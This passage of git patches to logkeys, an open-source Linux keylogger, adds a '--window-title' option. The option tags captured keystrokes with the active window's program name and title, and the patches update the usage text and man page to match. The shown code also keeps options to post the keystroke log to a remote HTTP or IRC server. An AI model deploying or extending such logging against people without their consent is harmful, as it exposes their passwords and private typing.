COMMAND_STR_AWID ") WM_CLASS | awk '{print $4}' | sed 's:^.\\(.*\\).$:\\1:'" #define INPUT_EVENT_PATH "/dev/input/" // standard path From 6126a015567a81146af9b4ca8f1c25d0fa10e6f0 Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaronreggiani@gmail.com> Date: Fri, 29 Jul 2016 15:34:17 +0200 Subject: [PATCH 07/12] Update logkeys.cc --- src/logkeys.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/logkeys.cc b/src/logkeys.cc index 10a2b9a..99a2187 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -52,7 +52,7 @@ // active window id, title, name #define COMMAND_STR_AWID "xprop -root 32x '\\t$0' _NET_ACTIVE_WINDOW | cut -f 2" -#define COMMAND_STR_AWTITLE "xprop -id $(" COMMAND_STR_AWID ") _NET_WM_NAME" +#define COMMAND_STR_AWTITLE "xprop -id $(" COMMAND_STR_AWID ") _NET_WM_NAME | cut -d '=' -f 2" #define COMMAND_STR_AWPNAME "xprop -id $(" COMMAND_STR_AWID ") WM_CLASS | awk '{print $4}' | sed 's:^.\\(.*\\).$:\\1:'" #define INPUT_EVENT_PATH "/dev/input/" // standard path From a037bc7549d5c27e4a7b31116a398fe24e4a6c3e Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaronreggiani@gmail.com> Date: Sat, 6 Aug 2016 19:13:09 +0200 Subject: [PATCH 08/12] changed --programinfo flag to --window-title --- src/args.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/args.cc b/src/args.cc index 940b1d2..88e6b58 100644 --- a/src/args.cc +++ b/src/args.cc @@ -30,7 +30,7 @@ struct arguments #define FLAG_EXPORT_KEYMAP 0x1 // export keymap obtained from dumpkeys, --export-keymap is used #define FLAG_NO_FUNC_KEYS 0x2 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch #define FLAG_NO_TIMESTAMPS 0x4 // don't log timestamps, --no-timestamps switch -#define FLAG_PROGRAMINFO 0x8 // log program name and window title, --programinfo switch +#define FLAG_WINDOW_TITLE 0x8 // log window name and title of program, --window-title switch #define FLAG_POST_HTTP 0x10 // post log to remote HTTP server, --post-http switch #define FLAG_POST_IRC 0x20 // post log to remote IRC server, --post-irc switch #define FLAG_POST_SIZE 0x40 // post log to remote HTTP or IRC server when log of size optarg, --post-size @@ -52,7 +52,7 @@ void process_command_line_arguments(int argc, char **argv) {"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP}, {"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS}, {"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS}, - {"programinfo", no_argument, &flags, FLAG_PROGRAMINFO}, + {"window-title", no_argument, &flags, FLAG_WINDOW_TITLE}, {"post-http", required_argument, &flags, FLAG_POST_HTTP}, {"post-irc", required_argument, &flags, FLAG_POST_IRC}, {"post-size", required_argument, &flags, FLAG_POST_SIZE}, From 85c8f39fff956432e0c62e185164b788aff7db48 Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaronreggiani@gmail.com> Date: Sat, 6 Aug 2016 19:24:27 +0200 Subject: [PATCH 09/12] Update usage.cc --- src/usage.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/usage.cc b/src/usage.cc index 03f1a85..6657339 100644 --- a/src/usage.cc +++ b/src/usage.cc @@ -27,7 +27,7 @@ void usage() " --export-keymap=FILE export configured keymap to FILE and exit\n" " --no-func-keys log only character keys\n" " --no-timestamps don't prepend timestamps to log file lines\n" -" --programinfo add active window program name and window title to log file\n" +" --window-title add active program window name and window title to log file\n" " --post-http=URL POST log to URL as multipart/form-data file\n" //" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n" " --post-size=SIZE post log file when size equals SIZE [500k]\n" From cc9510afa9632ae0911c02f003dd7cecdcee74fa Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaronreggiani@gmail.com> Date: Sat, 6 Aug 2016 19:31:51 +0200 Subject: [PATCH 10/12] changed programinfo flag to window-title --- src/logkeys.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/logkeys.cc b/src/logkeys.cc index 99a2187..39a26b9 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -562,7 +562,7 @@ int main(int argc, char **argv) //// on processid change update program_info write '[process name] "process title" > ' //// on process title change (like firefox tabs) would be better. possibly more ressource intensive? - if (args.flags & FLAG_PROGRAMINFO) { + if (args.flags & FLAG_WINDOW_TITLE) { window_id = execute(COMMAND_STR_AWID); if (window_id.compare(old_window_id) != 0) { From b2e44dc6ad8f2685945dc38a99539dc6d924d316 Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaronreggiani@gmail.com> Date: Sat, 6 Aug 2016 20:26:07 +0200 Subject: [PATCH 11/12] Changed the command strings for slight performance improvement --- src/logkeys.cc | 31 ++++++++++++++----------------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/src/logkeys.cc b/src/logkeys.cc index 39a26b9..22d3674 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -52,8 +52,6 @@ // active window id, title, name #define COMMAND_STR_AWID "xprop -root 32x '\\t$0' _NET_ACTIVE_WINDOW | cut -f 2" -#define COMMAND_STR_AWTITLE "xprop -id $(" COMMAND_STR_AWID ") _NET_WM_NAME | cut -d '=' -f 2" -#define COMMAND_STR_AWPNAME "xprop -id $(" COMMAND_STR_AWID ") WM_CLASS | awk '{print $4}' | sed 's:^.\\(.*\\).$:\\1:'" #define INPUT_EVENT_PATH "/dev/input/" // standard path #define DEFAULT_LOG_FILE "/var/log/logkeys.log" @@ -77,8 +75,8 @@ std::string execute(const char* cmd) char buffer[128]; std::string result = ""; while(!feof(pipe)) - if(fgets(buffer, 128, pipe) != NULL) - result += buffer; + if(fgets(buffer, 128, pipe) != NULL) + result += buffer; pclose(pipe); return result; } @@ -533,11 +531,11 @@ int main(int argc, char **argv) fflush(out); - //// programinfo + // programinfo std::string window_id; std::string old_window_id; - std::string cur_process_name; - std::string cur_window_name; + std::string process_name; + std::string window_title; std::string program_info; bool program_changed = false; @@ -560,15 +558,17 @@ int main(int argc, char **argv) continue; } - //// on processid change update program_info write '[process name] "process title" > ' - //// on process title change (like firefox tabs) would be better. possibly more ressource intensive? + // on processid change, update window-title write '[process name] "window title" > ' if (args.flags & FLAG_WINDOW_TITLE) { window_id = execute(COMMAND_STR_AWID); + //// really ugly! if (window_id.compare(old_window_id) != 0) { - cur_process_name = execute(COMMAND_STR_AWPNAME); - cur_window_name = execute(COMMAND_STR_AWTITLE); - program_info = "[" + cur_process_name.erase(cur_process_name.size() - 1) + "] " + cur_window_name.erase(cur_window_name.size() - 1) + " > "; // delete newline (why are newlines) + process_name = sprintf("xprop -id $(%s) 0s '\\t$1' WM_CLASS | cut -f2-", window_id.c_str()); + window_title = sprintf("xprop -id $(%s) _NET_WM_NAME | cut -d'=' -f2-", window_id.c_str()); + window_title = execute(window_title.c_str()); + process_name = execute(process_name.c_str()); + program_info = "[" + process_name.erase(process_name.size() - 1) + "] " + window_title.erase(window_title.size() - 1) + " > "; // delete newline (why are newlines) program_changed = true; } } @@ -612,8 +612,6 @@ int main(int argc, char **argv) } } - ////possible conflict if key repeated and program changed??? - // on key repeat ; must check before on key press if (event.value == EV_REPEAT) { ++count_repeats; @@ -630,7 +628,7 @@ int main(int argc, char **argv) // on key press if (event.value == EV_MAKE) { - // on ENTER key or Ctrl+C/Ctrl+D event append timestamp and programinfo + // on ENTER key or Ctrl+C/Ctrl+D event append timestamp and window-title if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER) { inc_size += newline(out, event, program_changed, program_info); } @@ -661,7 +659,7 @@ int main(int argc, char **argv) } // update program id - if (args.flags & FLAG_PROGRAMINFO) { + if (args.flags & FLAG_WINDOW_TITLE) { old_window_id = window_id; program_changed = false; } @@ -691,4 +689,3 @@ int main(int argc, char** argv) { return logkeys::main(argc, argv); } - From 6268cc7e117e718d99ba7e16bd189be7b34a8bef Mon Sep 17 00:00:00 2001 From: Aaron Reggiani <aaron@reggiani.bz.it> Date: Fri, 19 Aug 2016 15:39:55 +0200 Subject: [PATCH 12/12] moved window-info update code into EV_MAKE if clause, since we are only interested in "visible" key presses. changed printf into snprintf. updated manual file to include --window-title. #defined commands that were left in code previously. --- man/logkeys.8 | 26 ++++++++++++++++++++++ src/logkeys.cc | 60 ++++++++++++++++++++++++++++---------------------- 2 files changed, 60 insertions(+), 26 deletions(-) diff --git a/man/logkeys.8 b/man/logkeys.8 index dc99c42..b427a59 100644 --- a/man/logkeys.8 +++ b/man/logkeys.8 @@ -102,6 +102,11 @@ logged, influenced by Shift and AltGr modifiers. When this option is set, logkeys doesn't prepend timestamp to each line of log file. Timestamps are only logged when logkeys starts and stops. +.TP +\fB-\-windowtitle\fR +When this option is set, logkeys will log the program name and window title of +the active X window on a new line. + .TP \fB-\-post-size=\fISIZE\fR When log size reaches \fISIZE\fR, the current log filename is appended \fI.X\fR, @@ -154,6 +159,12 @@ combination is pressed, a timestamp is appended on a new line (provided Timestamp format is "%F\ %T%z", which results in "YYYY-mm-dd HH:MM:SS+ZZZZ". Timestamp is separated from the logged keys by one '>' symbol. .PP +When \fB-\-window-title\fR is in effect the program name and the window title of the +active X window will be inserted between the timestamp and a final '>' symbol. The +maximum length of both the program-name and window-name strings is 150 characters. +The Enter key will NOT trigger the logging of window information. +The format is: ["Program-name"] "Window title" > +.PP All character key presses are logged as they appear. All function key presses are replaced with strings as obtained from \fIkeymap\fR file, or as hardcoded when no \fIkeymap\fR file is provided. @@ -206,6 +217,21 @@ Logging stopped at 2009-12-11 09:58:54+0100 .PP Even when \fB-\-no-func-keys\fR is in effect, Space and Tab key presses are logged as a single space character. +.PP +If the same log was obtained by a logkeys process invoked with \fB-\-no-window-title\fR +option, it would look like: +.IP +Logging started ... +.IP +2009-12-11 09:58:19+0100 > ["Gnome-terminal"] "logkeys@linux-server:~" > make +.br +2009-12-11 09:58:20+0100 > make install<LAlt><Tab> +.br +2009-12-11 09:58:30+0100 > ["Firefox"] "New Tab - Mozilla Firefox" > <LCtrl>tgoogle.com +.br +2009-12-11 09:58:39+0100 > logkeys github +.IP +Logging stopped at 2009-12-11 09:58:54+0100 .SH "KEYMAP FORMAT" diff --git a/src/logkeys.cc b/src/logkeys.cc index 22d3674..721e4fc 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -52,6 +52,9 @@ // active window id, title, name #define COMMAND_STR_AWID "xprop -root 32x '\\t$0' _NET_ACTIVE_WINDOW | cut -f 2" +#define COMMAND_XPROPID "xprop -id " +#define COMMAND_WMCLASS " 0s '\\t$1' WM_CLASS | cut -f2-" +#define COMMAND_WMNAME " _NET_WM_NAME | cut -d'=' -f2-" #define INPUT_EVENT_PATH "/dev/input/" // standard path #define DEFAULT_LOG_FILE "/var/log/logkeys.log" @@ -78,7 +81,7 @@ std::string execute(const char* cmd) if(fgets(buffer, 128, pipe) != NULL) result += buffer; pclose(pipe); - return result; + return result.erase(result.size()-1); } int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it @@ -338,6 +341,7 @@ void determine_input_device() // extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) // The compiler automatically concatenates these adjacent strings to a single string. const char* cmd = COMMAND_STR_DEVICE; + std::stringstream output(execute(cmd)); std::vector<std::string> results; @@ -537,8 +541,9 @@ int main(int argc, char **argv) std::string process_name; std::string window_title; std::string program_info; + char placeholder [151]; bool program_changed = false; - + // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) while (read(input_fd, &event, sizeof(struct input_event)) > 0) { @@ -552,27 +557,12 @@ int main(int argc, char **argv) inc_size = 0; scan_code = event.code; - if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error + if (scan_code >= sizeof(char_or_func)) { // keqycode out of range, log error inc_size += fprintf(out, "<E-%x>", scan_code); if (inc_size > 0) file_size += inc_size; continue; } - // on processid change, update window-title write '[process name] "window title" > ' - if (args.flags & FLAG_WINDOW_TITLE) { - window_id = execute(COMMAND_STR_AWID); - - //// really ugly! - if (window_id.compare(old_window_id) != 0) { - process_name = sprintf("xprop -id $(%s) 0s '\\t$1' WM_CLASS | cut -f2-", window_id.c_str()); - window_title = sprintf("xprop -id $(%s) _NET_WM_NAME | cut -d'=' -f2-", window_id.c_str()); - window_title = execute(window_title.c_str()); - process_name = execute(process_name.c_str()); - program_info = "[" + process_name.erase(process_name.size() - 1) + "] " + window_title.erase(window_title.size() - 1) + " > "; // delete newline (why are newlines) - program_changed = true; - } - } - // if remote posting is enabled and size treshold is reached if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) { fclose(out); @@ -628,6 +618,23 @@ int main(int argc, char **argv) // on key press if (event.value == EV_MAKE) { + + // on processid change, update window-title write '["process name"] "window title" > ' + // it's in the EV_MAKE clause because we are only interested in "visible" keypresses + if (args.flags & FLAG_WINDOW_TITLE) { + window_id = execute(COMMAND_STR_AWID); + + if (window_id.compare(old_window_id) != 0) { + snprintf(placeholder, sizeof(placeholder), COMMAND_XPROPID "%s" COMMAND_WMCLASS, window_id.c_str()); + process_name = execute(placeholder); + snprintf(placeholder, sizeof(placeholder), COMMAND_XPROPID "%s" COMMAND_WMNAME, window_id.c_str()); + window_title = execute(placeholder); + + program_info = "[" + process_name + "]" + window_title + " > "; + program_changed = true; + } + } + // on ENTER key or Ctrl+C/Ctrl+D event append timestamp and window-title if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER) { inc_size += newline(out, event, program_changed, program_info); @@ -646,6 +653,12 @@ int main(int argc, char **argv) inc_size += encode_char(out, scan_code, altgr_in_effect, shift_in_effect); // print character or string coresponding to received keycode; only print chars when not \0 } + + // update program id + if (args.flags & FLAG_WINDOW_TITLE) { + old_window_id = window_id; + program_changed = false; + } } // if (EV_MAKE) // on key release @@ -657,12 +670,6 @@ int main(int argc, char **argv) if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) ctrl_in_effect = false; } - - // update program id - if (args.flags & FLAG_WINDOW_TITLE) { - old_window_id = window_id; - program_changed = false; - } prev_code = scan_code; fflush(out); @@ -673,8 +680,8 @@ int main(int argc, char **argv) // append final timestamp, close files and exit time(&cur_time); - strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time)); - fprintf(out, "\n\nLogging stopped at %s\n\n", timestamp); + strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time)); + fprintf(out, "\n\nLogging stopped at %s\n\n", timestamp); fclose(out); @@ -689,3 +696,4 @@ int main(int argc, char** argv) { return logkeys::main(argc, argv); } +